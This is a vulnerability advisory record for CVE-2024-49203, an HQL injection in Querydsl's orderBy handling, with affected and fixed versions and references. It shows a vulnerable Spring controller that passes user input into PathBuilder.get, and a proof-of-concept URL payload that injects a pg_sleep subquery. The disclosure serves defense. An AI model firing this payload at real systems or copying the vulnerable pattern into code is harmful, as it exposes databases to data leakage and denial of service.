{"id":"CVE-2024-49203","aliases":["GHSA-6q3q-6v5j-h6vg"],"url":"https://o3.security/vulnerability/CVE-2024-49203","summary":"Querydsl vulnerable to HQL injection through orderBy","details":"### Summary\nThe order by method enables injecting HQL queries. This may cause blind HQL injection, which could lead to leakage of sensitive information, and potentially also Denial Of Service. This vulnerability is present since the original querydsl repository(https://github.com/querydsl/querydsl) where it was assigned preliminary CVE identifier **CVE-2024-49203**.\n\n### Details\nVulnerable code may look as follows:\n```\n@GetMapping\npublic List<Test> getProducts(@RequestParam(\"orderBy\") String orderBy) {\n    JPAQuery<Test> query = new JPAQuery<Test>(entityManager).from(test);\n    PathBuilder<Test> pathBuilder = new PathBuilder<>(Test.class, \"test\");\n\n    OrderSpecifier order = new OrderSpecifier(Order.ASC, pathBuilder.get(orderBy));\n    JPAQuery<Test> orderedQuery = query.orderBy(order);\n    return orderedQuery.fetch();\n}\n```\nWhere vulnerability is either caused by ```pathBuilder.get(orderBy)``` or the ```orderBy(order)``` method itself, based on where the security checks are expected.\n\n### PoC\nFull POC code is available in repository:\nhttps://github.com/CSIRTTrizna/CVE-2024-49203/\nWhen we take a look at source code shown in Details section the functionality is as follows:\n\n1) Create JPAQuery object instance:\n```\nJPAQuery<Test> query = new JPAQuery<Test>(entityManager).from(test);\n```\n\n2) Create OrderSpecifier object instance:\n```\nPathBuilder<Test> pathBuilder = new PathBuilder<>(Test.class, \"test\");\nOrderSpecifier order = new OrderSpecifier(Order.ASC, pathBuilder.get(orderBy));\n```\nWhere orderBy variable is user provided input.\n\n3) order and run the query\n```\nJPAQuery<Test> orderedQuery = query.orderBy(order);\norderedQuery.fetch();\n```\n\nWhen user goes to URL \n```/products?orderBy=name+INTERSECT+SELECT+t+FROM+Test+t+WHERE+(SELECT+cast(pg_sleep(10) AS text))='2'+ORDER+BY+t.id```\nThe generated query will look something like this:\n```\nselect test                                                                                                                                     \nfrom Test test\norder by test.name INTERSECT SELECT t FROM Test t WHERE (SELECT cast(pg_sleep(10) AS text))='2' ORDER BY t.id asc\n```\n\n#### Environment\n\nLibrary versions used in proof of concept to reproduce the vulnerability:\n```\nquerydsl-jpa: 6.8.0\nquerydsl-apt: 6.8.0\nhibernate-core: 6.1.1.Final\njakarta.persistence-api: 3.1.0\npostgresql: 42.7.4\n```\n\n### Impact\nThe vulnerability is HQL injection, so anyone using source code similar to one provided in details is exposed to potentional information leakage and denial of service.","published":"2024-11-20T00:00:00Z","modified":"2026-08-12T03:51:23.232838513Z","cvss":{"score":8.2,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Maven","name":"io.github.openfeign.querydsl:querydsl-jpa","fixedVersion":"6.10.1"},{"ecosystem":"Maven","name":"io.github.openfeign.querydsl:querydsl-apt","fixedVersion":"6.10.1"},{"ecosystem":"Maven","name":"io.github.openfeign.querydsl:querydsl-jpa","fixedVersion":"5.6.1"},{"ecosystem":"Maven","name":"io.github.openfeign.querydsl:querydsl-apt","fixedVersion":"5.6.1"},{"ecosystem":"Maven","name":"com.querydsl:querydsl-jpa","fixedVersion":null},{"ecosystem":"Maven","name":"com.querydsl:querydsl-apt","fixedVersion":null}],"fix":{"url":"https://github.com/OpenFeign/querydsl/pull/742","label":"OpenFeign/querydsl#742"},"references":[{"type":"WEB","url":"https://github.com/OpenFeign/querydsl/"},{"type":"WEB","url":"https://github.com/OpenFeign/querydsl/releases/tag/5.6.1"},{"type":"WEB","url":"https://github.com/OpenFeign/querydsl/releases/tag/6.10.1"},{"type":"WEB","url":"https://github.com/querydsl/querydsl/releases/tag/QUERYDSL_5_1_0"},{"type":"WEB","url":"https://www.csirt.sk/querydsl-java-library-vulnerability-permits-sql-hql-injection.html"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/49xxx/CVE-2024-49203.json"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-6q3q-6v5j-h6vg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-49203"},{"type":"REPORT","url":"https://github.com/querydsl/querydsl/issues/3757"},{"type":"REPORT","url":"https://github.com/spring-projects/spring-data-jpa/issues/3693"},{"type":"FIX","url":"https://github.com/OpenFeign/querydsl/pull/742"},{"type":"FIX","url":"https://github.com/OpenFeign/querydsl/pull/743"},{"type":"WEB","url":"https://github.com/OpenFeign/querydsl/security/advisories/GHSA-6q3q-6v5j-h6vg"},{"type":"WEB","url":"https://github.com/CSIRTTrizna/CVE-2024-49203"},{"type":"PACKAGE","url":"https://github.com/OpenFeign/querydsl"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:23.232838513Z"}}